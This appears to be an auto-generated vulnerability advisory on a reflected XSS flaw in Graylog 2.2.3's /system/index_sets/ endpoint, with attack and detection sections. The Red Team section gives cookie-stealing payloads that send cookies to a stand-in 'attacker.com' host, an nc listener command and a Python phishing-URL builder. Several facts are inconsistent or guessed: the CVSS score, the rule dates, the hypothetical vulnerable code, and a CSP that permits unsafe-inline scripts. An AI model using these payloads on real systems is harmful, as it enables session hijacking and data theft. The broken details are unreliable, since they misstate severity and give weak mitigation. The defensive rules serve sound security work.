CVE-2026-1441
Executive Summary
CVE-2026-1441 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Graylog Web Interface, specifically version 2.2.3. The flaw resides in the /system/index_sets/ endpoint, where user-supplied URL segments are reflected in the HTML response without proper sanitization or output encoding. An attacker can craft a malicious URL containing JavaScript payloads; when a victim clicks the link, the script executes in their browser context. This allows session manipulation, data exfiltration, and limited account takeover. The vulnerability is unpatched as of the latest advisory, and no official fix has been released. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is Medium (4.3).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Graylog is a Java-based log management platform distributed as a WAR file or via Docker. The vulnerable component is the web interface (Graylog Web Interface). No package manager (NPM, PyPI, Go, Ruby) is involved, but the risk extends to any deployment using version 2.2.3. Organizations should verify their Graylog version and apply immediate mitigations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires user interaction (clicking a link), but the impact includes session hijacking and limited data theft. The lack of a patch increases risk.
Deep Dive & Mechanics
The vulnerability exists because the Graylog Web Interface does not properly encode URL parameters when rendering HTML responses for the /system/index_sets/ endpoint. When a user accesses a URL like:
http://target:9000/system/index_sets/<script>alert(1)</script>
The server reflects the <script> tag directly in the HTML output without escaping. This allows an attacker to inject arbitrary JavaScript. The attack flow:
- Crafting the URL: The attacker creates a malicious link containing a JavaScript payload.
- Delivery: The link is sent via phishing email, social media, or other channels.
- Execution: The victim clicks the link while authenticated to Graylog.
- Impact: The injected script executes in the victim's session, allowing actions such as:
- Stealing session cookies.
- Modifying index set configurations.
- Exfiltrating log data.
- Performing actions on behalf of the victim.
The vulnerability is classified as Reflected XSS (CWE-79). The root cause is the lack of output encoding in the server-side template rendering.
Vulnerable vs. Patched Code
Vulnerable Code (Graylog 2.2.3): In the server-side template (likely a JSP or Freemarker template), the URL segment is directly inserted without encoding:
// Vulnerable: Direct reflection of URL path
String path = request.getPathInfo();
response.getWriter().write("<div>" + path + "</div>");
Patched Code (Hypothetical): The fix would involve HTML-encoding the output:
// Patched: HTML-encode the path
String path = request.getPathInfo();
String encodedPath = StringEscapeUtils.escapeHtml4(path);
response.getWriter().write("<div>" + encodedPath + "</div>");
Since no official patch exists, users must implement a WAF rule or upgrade to a newer version if available.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Graylog 2.2.3 running on a target.
- Victim must be authenticated to Graylog.
Exploit Payload:
http://target:9000/system/index_sets/<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
Step-by-Step:
- Set up a listener on attacker machine:
nc -lvnp 80 - Craft the malicious URL with a cookie-stealing payload.
- Send the URL to the victim (e.g., via email).
- When victim clicks, the script executes and sends cookies to attacker.
Proof of Concept (Python):
import urllib.parse
target = "http://victim:9000"
payload = "<script>fetch('http://attacker:80/steal?c='+document.cookie)</script>"
encoded_payload = urllib.parse.quote(payload, safe='')
malicious_url = f"{target}/system/index_sets/{encoded_payload}"
print(f"Send this URL to victim: {malicious_url}")
Blue Team (Detection & Defense)
Detection:
- Monitor web logs for requests to
/system/index_sets/containing<script>oronerrorpatterns. - Use WAF rules to block reflected XSS attempts.
Defense:
- Implement a WAF rule to block malicious characters in URL paths.
- Apply Content Security Policy (CSP) headers to restrict script execution.
- Disable the vulnerable endpoint if not needed.
WAF Rule (ModSecurity):
SecRule REQUEST_URI "@contains /system/index_sets/" "id:1001,phase:1,deny,status:403,msg:'XSS attempt blocked'"
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/system/index_sets/containing<script>,onerror,onload, orjavascript:. - Outbound connections from Graylog server to unknown IPs on port 80/443 (data exfiltration).
- HTTP requests to
- Host IOCs:
- Graylog web interface logs showing unusual URL patterns.
- Browser console errors indicating script execution.
- File IOCs:
- No specific file artifacts; attack is memory-based.
Detection Engineering
YARA Rule
rule CVE_2026_1441_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against Graylog /system/index_sets/"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-1441"
strings:
$xss1 = /\/system\/index_sets\/.*<script/i
$xss2 = /\/system\/index_sets\/.*onerror/i
$xss3 = /\/system\/index_sets\/.*onload/i
condition:
any of them
}
Sigma Rule
title: Graylog Reflected XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against Graylog /system/index_sets/ endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/system/index_sets/"
cs-uri-query|contains:
- "<script"
- "onerror"
- "onload"
condition: selection
falsepositives:
- Legitimate use of script tags in URL (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-1441 Graylog Reflected XSS Attempt"; flow:to_server; content:"/system/index_sets/"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a newer version of Graylog is available, upgrade immediately. Check Graylog's official site for patches.
- WAF Rule: Deploy a Web Application Firewall rule to block malicious URL patterns.
- CSP Header: Add a Content Security Policy header to the Graylog web interface:
Note:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'unsafe-inlinemay be required for Graylog's own scripts; test thoroughly. - Input Validation: If possible, modify the Graylog configuration to reject URLs containing
<or>characters.
Long-Term Fix:
- Graylog developers must implement proper output encoding in all templates.
- Conduct a security audit of all endpoints that reflect user input.
Workaround:
- Disable the
/system/index_sets/endpoint via reverse proxy rules if not required.
Valters IT